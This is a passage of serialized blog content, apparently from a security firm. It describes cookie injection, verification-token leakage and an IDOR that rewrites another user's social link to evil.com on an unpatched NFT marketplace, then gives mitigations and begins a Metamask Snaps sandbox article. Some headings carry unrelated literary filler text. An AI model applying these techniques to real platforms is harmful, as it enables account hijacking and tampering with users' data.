",{"type":23,"tag":504,"props":36754,"children":36755},{"style":5041},[36756],{"type":29,"value":578},{"type":23,"tag":504,"props":36758,"children":36759},{"style":5047},[36760],{"type":29,"value":36752},{"type":23,"tag":504,"props":36762,"children":36763},{"style":6297},[36764],{"type":29,"value":36765},"'='",{"type":23,"tag":504,"props":36767,"children":36768},{"style":5047},[36769],{"type":29,"value":36752},{"type":23,"tag":504,"props":36771,"children":36772},{"style":5041},[36773],{"type":29,"value":36774},"Set_Cookie",{"type":23,"tag":504,"props":36776,"children":36777},{"style":5047},[36778],{"type":29,"value":36752},{"type":23,"tag":504,"props":36780,"children":36781},{"style":6297},[36782],{"type":29,"value":36783},"';Domain='",{"type":23,"tag":504,"props":36785,"children":36786},{"style":5047},[36787],{"type":29,"value":36752},{"type":23,"tag":504,"props":36789,"children":36790},{"style":5041},[36791],{"type":29,"value":36792},"Take_Domain",{"type":23,"tag":504,"props":36794,"children":36795},{"style":5047},[36796],{"type":29,"value":5061},{"type":23,"tag":504,"props":36798,"children":36799},{"class":5016,"line":5649},[36800],{"type":23,"tag":504,"props":36801,"children":36802},{"style":5030},[36803],{"type":29,"value":36804},"   }\n",{"type":23,"tag":504,"props":36806,"children":36807},{"class":5016,"line":5666},[36808,36812,36816],{"type":23,"tag":504,"props":36809,"children":36810},{"style":34431},[36811],{"type":29,"value":36423},{"type":23,"tag":504,"props":36813,"children":36814},{"style":5030},[36815],{"type":29,"value":34471},{"type":23,"tag":504,"props":36817,"children":36818},{"style":34431},[36819],{"type":29,"value":8038},{"type":23,"tag":504,"props":36821,"children":36822},{"class":5016,"line":5683},[36823,36827,36831],{"type":23,"tag":504,"props":36824,"children":36825},{"style":34431},[36826],{"type":29,"value":36439},{"type":23,"tag":504,"props":36828,"children":36829},{"style":5030},[36830],{"type":29,"value":36329},{"type":23,"tag":504,"props":36832,"children":36833},{"style":34431},[36834],{"type":29,"value":8038},{"type":23,"tag":32,"props":36836,"children":36837},{},[36838],{"type":29,"value":36839},"As a result, we're able to prevent the user from loading images.",{"type":23,"tag":24,"props":36841,"children":36843},{"id":36842},"authentication",[36844],{"type":29,"value":36845},"Authentication",{"type":23,"tag":32,"props":36847,"children":36848},{},[36849],{"type":23,"tag":4321,"props":36850,"children":36851},{},[36852,36854,36861],{"type":29,"value":36853},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":23,"tag":68,"props":36855,"children":36858},{"href":36856,"rel":36857},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[72],[36859],{"type":29,"value":36860},"great misfortune has occured",{"type":29,"value":357},{"type":23,"tag":320,"props":36863,"children":36865},{"id":36864},"verification-token-leakage",[36866],{"type":29,"value":36867},"Verification Token Leakage",{"type":23,"tag":32,"props":36869,"children":36870},{},[36871],{"type":29,"value":36872},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":23,"tag":32,"props":36874,"children":36875},{},[36876],{"type":29,"value":36877},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":23,"tag":32,"props":36879,"children":36880},{},[36881,36886],{"type":23,"tag":4321,"props":36882,"children":36883},{},[36884],{"type":29,"value":36885},"Proof of Concept",{"type":29,"value":36887},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":23,"tag":32,"props":36889,"children":36890},{},[36891],{"type":29,"value":36892},"Here's the breakdown.",{"type":23,"tag":32,"props":36894,"children":36895},{},[36896],{"type":29,"value":36897},"First, we send the verification link to a user's email:",{"type":23,"tag":33401,"props":36899,"children":36900},{"style":33403},[36901],{"type":23,"tag":199,"props":36902,"children":36906},{"src":36903,"alt":36904,"style":36905},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":23,"tag":32,"props":36908,"children":36909},{},[36910],{"type":29,"value":36911},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":23,"tag":320,"props":36913,"children":36915},{"id":36914},"idor",[36916],{"type":29,"value":36917},"IDOR",{"type":23,"tag":32,"props":36919,"children":36920},{},[36921],{"type":23,"tag":4321,"props":36922,"children":36923},{},[36924,36926,36933],{"type":29,"value":36925},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":23,"tag":68,"props":36927,"children":36930},{"href":36928,"rel":36929},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[72],[36931],{"type":29,"value":36932},"insect",{"type":29,"value":357},{"type":23,"tag":32,"props":36935,"children":36936},{},[36937,36939,36945],{"type":29,"value":36938},"During a security assessment of the ",{"type":23,"tag":68,"props":36940,"children":36943},{"href":36941,"rel":36942},"https://rocki.com",[72],[36944],{"type":29,"value":33339},{"type":29,"value":36946},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":23,"tag":32,"props":36948,"children":36949},{},[36950],{"type":29,"value":36951},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":23,"tag":32,"props":36953,"children":36954},{},[36955],{"type":29,"value":36956},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":23,"tag":32,"props":36958,"children":36959},{},[36960,36962,36968,36970,36975],{"type":29,"value":36961},"Here is an example of a request that modifies another user's social media link to ",{"type":23,"tag":154,"props":36963,"children":36965},{"className":36964},[],[36966],{"type":29,"value":36967},"https://evil.com/",{"type":29,"value":36969},". To achieve this, we simply changed the ",{"type":23,"tag":154,"props":36971,"children":36973},{"className":36972},[],[36974],{"type":29,"value":5535},{"type":29,"value":36976}," field value to one that belongs to another user:",{"type":23,"tag":32,"props":36978,"children":36979},{},[36980],{"type":23,"tag":199,"props":36981,"children":36983},{"alt":7,"src":36982},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":23,"tag":32,"props":36985,"children":36986},{},[36987],{"type":29,"value":36988},"The following screenshot is the response to our request:",{"type":23,"tag":32,"props":36990,"children":36991},{},[36992],{"type":23,"tag":199,"props":36993,"children":36995},{"alt":7,"src":36994},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":23,"tag":24,"props":36997,"children":36999},{"id":36998},"preventative-action-steps-for-marketplaces",[37000],{"type":23,"tag":38,"props":37001,"children":37002},{},[37003],{"type":29,"value":37004},"Preventative Action Steps for Marketplaces",{"type":23,"tag":32,"props":37006,"children":37007},{},[37008],{"type":29,"value":37009},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":23,"tag":32,"props":37011,"children":37012},{},[37013,37015,37021,37023,37029],{"type":29,"value":37014},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":23,"tag":154,"props":37016,"children":37018},{"className":37017},[],[37019],{"type":29,"value":37020},"innerText",{"type":29,"value":37022}," instead of ",{"type":23,"tag":154,"props":37024,"children":37026},{"className":37025},[],[37027],{"type":29,"value":37028},"innerHTML",{"type":29,"value":37030}," in client-side:",{"type":23,"tag":4743,"props":37032,"children":37034},{"className":33418,"code":37033,"language":33420,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[37035],{"type":23,"tag":154,"props":37036,"children":37037},{"__ignoreMap":7},[37038],{"type":23,"tag":504,"props":37039,"children":37040},{"class":5016,"line":5017},[37041,37045,37049,37054,37058,37063,37067,37071,37075,37080],{"type":23,"tag":504,"props":37042,"children":37043},{"style":5041},[37044],{"type":29,"value":34763},{"type":23,"tag":504,"props":37046,"children":37047},{"style":5058},[37048],{"type":29,"value":357},{"type":23,"tag":504,"props":37050,"children":37051},{"style":5139},[37052],{"type":29,"value":37053},"getElementById",{"type":23,"tag":504,"props":37055,"children":37056},{"style":5058},[37057],{"type":29,"value":603},{"type":23,"tag":504,"props":37059,"children":37060},{"style":6297},[37061],{"type":29,"value":37062},"'nftCollectionName'",{"type":23,"tag":504,"props":37064,"children":37065},{"style":5058},[37066],{"type":29,"value":161},{"type":23,"tag":504,"props":37068,"children":37069},{"style":5041},[37070],{"type":29,"value":37020},{"type":23,"tag":504,"props":37072,"children":37073},{"style":5047},[37074],{"type":29,"value":5050},{"type":23,"tag":504,"props":37076,"children":37077},{"style":5041},[37078],{"type":29,"value":37079}," nftCollectionName",{"type":23,"tag":504,"props":37081,"children":37082},{"style":5058},[37083],{"type":29,"value":5061},{"type":23,"tag":32,"props":37085,"children":37086},{},[37087],{"type":29,"value":37088},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":23,"tag":4743,"props":37090,"children":37092},{"className":33418,"code":37091,"language":33420,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[37093],{"type":23,"tag":154,"props":37094,"children":37095},{"__ignoreMap":7},[37096],{"type":23,"tag":504,"props":37097,"children":37098},{"class":5016,"line":5017},[37099,37104,37109,37113,37118,37122,37127,37131,37136],{"type":23,"tag":504,"props":37100,"children":37101},{"style":5030},[37102],{"type":29,"value":37103},"var",{"type":23,"tag":504,"props":37105,"children":37106},{"style":5041},[37107],{"type":29,"value":37108}," sanitizedInput",{"type":23,"tag":504,"props":37110,"children":37111},{"style":5047},[37112],{"type":29,"value":5050},{"type":23,"tag":504,"props":37114,"children":37115},{"style":5041},[37116],{"type":29,"value":37117}," DOMPurify",{"type":23,"tag":504,"props":37119,"children":37120},{"style":5058},[37121],{"type":29,"value":357},{"type":23,"tag":504,"props":37123,"children":37124},{"style":5139},[37125],{"type":29,"value":37126},"sanitize",{"type":23,"tag":504,"props":37128,"children":37129},{"style":5058},[37130],{"type":29,"value":603},{"type":23,"tag":504,"props":37132,"children":37133},{"style":5041},[37134],{"type":29,"value":37135},"userInput",{"type":23,"tag":504,"props":37137,"children":37138},{"style":5058},[37139],{"type":29,"value":5888},{"type":23,"tag":32,"props":37141,"children":37142},{},[37143,37145,37152],{"type":29,"value":37144},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":23,"tag":68,"props":37146,"children":37149},{"href":37147,"rel":37148},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[72],[37150],{"type":29,"value":37151},"Content-Security-Policy",{"type":29,"value":37153}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":23,"tag":32,"props":37155,"children":37156},{},[37157],{"type":29,"value":37158},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":23,"tag":32,"props":37160,"children":37161},{},[37162,37164,37171],{"type":29,"value":37163},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":23,"tag":68,"props":37165,"children":37168},{"href":37166,"rel":37167},"https://www.techtarget.com/whatis/definition/whitelist",[72],[37169],{"type":29,"value":37170},"allow-list",{"type":29,"value":37172}," :",{"type":23,"tag":4743,"props":37174,"children":37176},{"className":33418,"code":37175,"language":33420,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n  throw new ApolloError('invalid domain');\n}\n",[37177],{"type":23,"tag":154,"props":37178,"children":37179},{"__ignoreMap":7},[37180,37209,37251,37281],{"type":23,"tag":504,"props":37181,"children":37182},{"class":5016,"line":5017},[37183,37187,37192,37196,37200,37205],{"type":23,"tag":504,"props":37184,"children":37185},{"style":5030},[37186],{"type":29,"value":11701},{"type":23,"tag":504,"props":37188,"children":37189},{"style":5041},[37190],{"type":29,"value":37191}," allowDomains",{"type":23,"tag":504,"props":37193,"children":37194},{"style":5047},[37195],{"type":29,"value":5050},{"type":23,"tag":504,"props":37197,"children":37198},{"style":5058},[37199],{"type":29,"value":25073},{"type":23,"tag":504,"props":37201,"children":37202},{"style":6297},[37203],{"type":29,"value":37204},"'https://allowed-domain'",{"type":23,"tag":504,"props":37206,"children":37207},{"style":5058},[37208],{"type":29,"value":33629},{"type":23,"tag":504,"props":37210,"children":37211},{"class":5016,"line":4868},[37212,37216,37220,37224,37229,37233,37238,37242,37246],{"type":23,"tag":504,"props":37213,"children":37214},{"style":5067},[37215],{"type":29,"value":17626},{"type":23,"tag":504,"props":37217,"children":37218},{"style":5058},[37219],{"type":29,"value":5110},{"type":23,"tag":504,"props":37221,"children":37222},{"style":5047},[37223],{"type":29,"value":22674},{"type":23,"tag":504,"props":37225,"children":37226},{"style":5041},[37227],{"type":29,"value":37228},"allowDomains",{"type":23,"tag":504,"props":37230,"children":37231},{"style":5058},[37232],{"type":29,"value":357},{"type":23,"tag":504,"props":37234,"children":37235},{"style":5139},[37236],{"type":29,"value":37237},"includes",{"type":23,"tag":504,"props":37239,"children":37240},{"style":5058},[37241],{"type":29,"value":603},{"type":23,"tag":504,"props":37243,"children":37244},{"style":5041},[37245],{"type":29,"value":34773},{"type":23,"tag":504,"props":37247,"children":37248},{"style":5058},[37249],{"type":29,"value":37250},")) {\n",{"type":23,"tag":504,"props":37252,"children":37253},{"class":5016,"line":4876},[37254,37259,37263,37268,37272,37277],{"type":23,"tag":504,"props":37255,"children":37256},{"style":5067},[37257],{"type":29,"value":37258},"  throw",{"type":23,"tag":504,"props":37260,"children":37261},{"style":5030},[37262],{"type":29,"value":33988},{"type":23,"tag":504,"props":37264,"children":37265},{"style":5139},[37266],{"type":29,"value":37267}," ApolloError",{"type":23,"tag":504,"props":37269,"children":37270},{"style":5058},[37271],{"type":29,"value":603},{"type":23,"tag":504,"props":37273,"children":37274},{"style":6297},[37275],{"type":29,"value":37276},"'invalid domain'",{"type":23,"tag":504,"props":37278,"children":37279},{"style":5058},[37280],{"type":29,"value":5888},{"type":23,"tag":504,"props":37282,"children":37283},{"class":5016,"line":5099},[37284],{"type":23,"tag":504,"props":37285,"children":37286},{"style":5058},[37287],{"type":29,"value":5965},{"type":23,"tag":32,"props":37289,"children":37290},{},[37291,37293,37300,37302,37309],{"type":29,"value":37292},"As ",{"type":23,"tag":68,"props":37294,"children":37297},{"href":37295,"rel":37296},"https://graphql.org/",[72],[37298],{"type":29,"value":37299},"GraphQl",{"type":29,"value":37301}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":23,"tag":68,"props":37303,"children":37306},{"href":37304,"rel":37305},"https://graphql.org/learn/introspection/",[72],[37307],{"type":29,"value":37308},"introspection",{"type":29,"value":37310}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":23,"tag":4743,"props":37312,"children":37314},{"className":33418,"code":37313,"language":33420,"meta":7,"style":7},"const server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: false,\n});\n",[37315],{"type":23,"tag":154,"props":37316,"children":37317},{"__ignoreMap":7},[37318,37347,37359,37371,37387],{"type":23,"tag":504,"props":37319,"children":37320},{"class":5016,"line":5017},[37321,37325,37330,37334,37338,37343],{"type":23,"tag":504,"props":37322,"children":37323},{"style":5030},[37324],{"type":29,"value":11701},{"type":23,"tag":504,"props":37326,"children":37327},{"style":5041},[37328],{"type":29,"value":37329}," server",{"type":23,"tag":504,"props":37331,"children":37332},{"style":5047},[37333],{"type":29,"value":5050},{"type":23,"tag":504,"props":37335,"children":37336},{"style":5030},[37337],{"type":29,"value":33988},{"type":23,"tag":504,"props":37339,"children":37340},{"style":5139},[37341],{"type":29,"value":37342}," ApolloServer",{"type":23,"tag":504,"props":37344,"children":37345},{"style":5058},[37346],{"type":29,"value":17187},{"type":23,"tag":504,"props":37348,"children":37349},{"class":5016,"line":4868},[37350,37355],{"type":23,"tag":504,"props":37351,"children":37352},{"style":5041},[37353],{"type":29,"value":37354},"  typeDefs",{"type":23,"tag":504,"props":37356,"children":37357},{"style":5058},[37358],{"type":29,"value":5557},{"type":23,"tag":504,"props":37360,"children":37361},{"class":5016,"line":4876},[37362,37367],{"type":23,"tag":504,"props":37363,"children":37364},{"style":5041},[37365],{"type":29,"value":37366},"  resolvers",{"type":23,"tag":504,"props":37368,"children":37369},{"style":5058},[37370],{"type":29,"value":5557},{"type":23,"tag":504,"props":37372,"children":37373},{"class":5016,"line":5099},[37374,37379,37383],{"type":23,"tag":504,"props":37375,"children":37376},{"style":5041},[37377],{"type":29,"value":37378},"  introspection:",{"type":23,"tag":504,"props":37380,"children":37381},{"style":5030},[37382],{"type":29,"value":11104},{"type":23,"tag":504,"props":37384,"children":37385},{"style":5058},[37386],{"type":29,"value":5557},{"type":23,"tag":504,"props":37388,"children":37389},{"class":5016,"line":5203},[37390],{"type":23,"tag":504,"props":37391,"children":37392},{"style":5058},[37393],{"type":29,"value":37394},"});\n",{"type":23,"tag":32,"props":37396,"children":37397},{},[37398,37400,37407,37409,37416],{"type":29,"value":37399},"Similarly, when ",{"type":23,"tag":68,"props":37401,"children":37404},{"href":37402,"rel":37403},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[72],[37405],{"type":29,"value":37406},"batching",{"type":29,"value":37408}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":23,"tag":68,"props":37410,"children":37413},{"href":37411,"rel":37412},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[72],[37414],{"type":29,"value":37415},"denial-of-service",{"type":29,"value":37417}," (DoS) attacks.",{"type":23,"tag":32,"props":37419,"children":37420},{},[37421],{"type":29,"value":37422},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":23,"tag":32,"props":37424,"children":37425},{},[37426],{"type":29,"value":37427},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":23,"tag":37429,"props":37430,"children":37431},"h1",{"id":4832},[37432],{"type":29,"value":4835},{"type":23,"tag":32,"props":37434,"children":37435},{},[37436],{"type":29,"value":37437},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":23,"tag":32,"props":37439,"children":37440},{},[37441],{"type":29,"value":37442},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":23,"tag":24,"props":37444,"children":37446},{"id":37445},"disclaimer",[37447],{"type":29,"value":37448},"Disclaimer",{"type":23,"tag":32,"props":37450,"children":37451},{},[37452],{"type":29,"value":37453},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":23,"tag":7410,"props":37455,"children":37456},{},[37457],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":37459},[37460,37463,37469,37473,37474],{"id":31069,"depth":4868,"text":31072,"children":37461},[37462],{"id":4947,"depth":4876,"text":4950},{"id":33262,"depth":4868,"text":33292,"children":37464},[37465,37466,37467,37468],{"id":33311,"depth":4876,"text":33314},{"id":33376,"depth":4876,"text":33379},{"id":36207,"depth":4876,"text":36210},{"id":36497,"depth":4876,"text":36500},{"id":36842,"depth":4868,"text":36845,"children":37470},[37471,37472],{"id":36864,"depth":4876,"text":36867},{"id":36914,"depth":4876,"text":36917},{"id":36998,"depth":4868,"text":37004},{"id":37445,"depth":4868,"text":37448},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":37479,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":37480,"description":37481,"author":37482,"image":37483,"date":37485,"isFeatured":15,"onBlogPage":15,"body":37486,"_type":4892,"_id":42501,"_source":4894,"_file":42502,"_stem":42503,"_extension":4897},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[33256,11],{"src":37484,"height":15669,"width":14},"/posts/metamask-snaps/header.png","2023-11-01",{"type":20,"children":37487,"toc":42482},[37488,37492,37497,37502,37507,37513,37518,37524,37537,37542,37547,37554,37586,37592,37597,37615,37622,37628,37642,37648,37668,37932,37960,37966,37985,38371,38390,38403,38721,38742,39013,39018,39024,39029,39042,39047,39060,39319,39363,39376,39382,39396,39402,39408,39421,39458,39464,39484,39595,39621,39627,39645,39658,39664,39669,39687,39798,39803,39824,39837,39854,39954,39980,39997,40119,40145,40157,40162,40168,40174,40179,40202,40207,40212,40218,40224,40251,40654,40681,40708,40714,40745,41054,41073,41078,41103,41116,41122,41149,41444,41480,41498,41503,41538,41543,41547,41552,41559,41564,41591,42368,42388,42394,42415,42464,42468,42473,42478],{"type":23,"tag":24,"props":37489,"children":37490},{"id":21007},[37491],{"type":29,"value":21010},{"type":23,"tag":32,"props":37493,"children":37494},{},[37495],{"type":29,"value":37496},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":23,"tag":32,"props":37498,"children":37499},{},[37500],{"type":29,"value":37501},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":23,"tag":32,"props":37503,"children":37504},{},[37505],{"type":29,"value":37506},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":23,"tag":24,"props":37508,"children":37510},{"id":37509},"sandbox-security",[37511],{"type":29,"value":37512},"Sandbox Security",{"type":23,"tag":32,"props":37514,"children":37515},{},[37516],{"type":29,"value":37517},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":23,"tag":320,"props":37519,"children":37521},{"id":37520},"permission-based-security",[37522],{"type":29,"value":37523},"Permission-based security",{"type":23,"tag":32,"props":37525,"children":37526},{},[37527,37529,37535],{"type":29,"value":37528},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":23,"tag":154,"props":37530,"children":37532},{"className":37531},[],[37533],{"type":29,"value":37534},"snap.manifest.json",{"type":29,"value":37536}," file and can be critical to security.",{"type":23,"tag":32,"props":37538,"children":37539},{},[37540],{"type":29,"value":37541},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":23,"tag":32,"props":37543,"children":37544},{},[37545],{"type":29,"value":37546},"Here are the critical permissions possible to be given to a snap:",{"type":23,"tag":32,"props":37548,"children":37549},{},[37550],{"type":23,"tag":199,"props":37551,"children":37553},{"alt":7,"src":37552},"/posts/metamask-snaps/permissions.png",[],{"type":23,"tag":1022,"props":37555,"children":37556},{},[37557,37575],{"type":23,"tag":143,"props":37558,"children":37559},{},[37560,37566,37567,37573],{"type":23,"tag":154,"props":37561,"children":37563},{"className":37562},[],[37564],{"type":29,"value":37565},"snap_getBip44Entropy",{"type":29,"value":4478},{"type":23,"tag":154,"props":37568,"children":37570},{"className":37569},[],[37571],{"type":29,"value":37572},"snap_getBip32Entropy",{"type":29,"value":37574}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":23,"tag":143,"props":37576,"children":37577},{},[37578,37584],{"type":23,"tag":154,"props":37579,"children":37581},{"className":37580},[],[37582],{"type":29,"value":37583},"endowment:transaction-insight",{"type":29,"value":37585}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":23,"tag":320,"props":37587,"children":37589},{"id":37588},"snap-execution-environment",[37590],{"type":29,"value":37591},"Snap execution environment",{"type":23,"tag":32,"props":37593,"children":37594},{},[37595],{"type":29,"value":37596},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":23,"tag":139,"props":37598,"children":37599},{},[37600,37605,37610],{"type":23,"tag":143,"props":37601,"children":37602},{},[37603],{"type":29,"value":37604},"An isolated iframe",{"type":23,"tag":143,"props":37606,"children":37607},{},[37608],{"type":29,"value":37609},"LavaMoat",{"type":23,"tag":143,"props":37611,"children":37612},{},[37613],{"type":29,"value":37614},"SES (Secure EcmaScript)",{"type":23,"tag":32,"props":37616,"children":37617},{},[37618],{"type":23,"tag":199,"props":37619,"children":37621},{"alt":7,"src":37620},"/posts/metamask-snaps/environment.png",[],{"type":23,"tag":320,"props":37623,"children":37625},{"id":37624},"isolated-iframe-layer-1",[37626],{"type":29,"value":37627},"Isolated Iframe - Layer 1",{"type":23,"tag":32,"props":37629,"children":37630},{},[37631,37633,37640],{"type":29,"value":37632},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":23,"tag":68,"props":37634,"children":37637},{"href":37635,"rel":37636},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[72],[37638],{"type":29,"value":37639},"Iframe",{"type":29,"value":37641}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":23,"tag":20944,"props":37643,"children":37645},{"id":37644},"the-framework-metamask-extension-repo",[37646],{"type":29,"value":37647},"The Framework: Metamask-Extension Repo",{"type":23,"tag":32,"props":37649,"children":37650},{},[37651,37653,37659,37661,37667],{"type":29,"value":37652},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":23,"tag":154,"props":37654,"children":37656},{"className":37655},[],[37657],{"type":29,"value":37658},"metamask-controller.js",{"type":29,"value":37660}," file. Here's a glimpse of the relevant ",{"type":23,"tag":68,"props":37662,"children":37665},{"href":37663,"rel":37664},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[72],[37666],{"type":29,"value":154},{"type":29,"value":6533},{"type":23,"tag":4743,"props":37669,"children":37673},{"className":37670,"code":37671,"language":37672,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n  messenger: this.controllerMessenger.getRestricted({\n    name: 'ExecutionService',\n  }),\n  setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n  'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[37674],{"type":23,"tag":154,"props":37675,"children":37676},{"__ignoreMap":7},[37677,37685,37693,37713,37761,37796,37813,37821,37863,37870,37877,37885,37913,37925],{"type":23,"tag":504,"props":37678,"children":37679},{"class":5016,"line":5017},[37680],{"type":23,"tag":504,"props":37681,"children":37682},{"style":5021},[37683],{"type":29,"value":37684},"// Import snaps-controllers\n",{"type":23,"tag":504,"props":37686,"children":37687},{"class":5016,"line":4868},[37688],{"type":23,"tag":504,"props":37689,"children":37690},{"style":5021},[37691],{"type":29,"value":37692},"// ...\n",{"type":23,"tag":504,"props":37694,"children":37695},{"class":5016,"line":4876},[37696,37700,37705,37709],{"type":23,"tag":504,"props":37697,"children":37698},{"style":5030},[37699],{"type":29,"value":11701},{"type":23,"tag":504,"props":37701,"children":37702},{"style":5041},[37703],{"type":29,"value":37704}," snapExecutionServiceArgs",{"type":23,"tag":504,"props":37706,"children":37707},{"style":5047},[37708],{"type":29,"value":5050},{"type":23,"tag":504,"props":37710,"children":37711},{"style":5058},[37712],{"type":29,"value":5333},{"type":23,"tag":504,"props":37714,"children":37715},{"class":5016,"line":5099},[37716,37721,37725,37730,37734,37739,37743,37748,37752,37757],{"type":23,"tag":504,"props":37717,"children":37718},{"style":5041},[37719],{"type":29,"value":37720},"  iframeUrl:",{"type":23,"tag":504,"props":37722,"children":37723},{"style":5030},[37724],{"type":29,"value":33988},{"type":23,"tag":504,"props":37726,"children":37727},{"style":5139},[37728],{"type":29,"value":37729}," 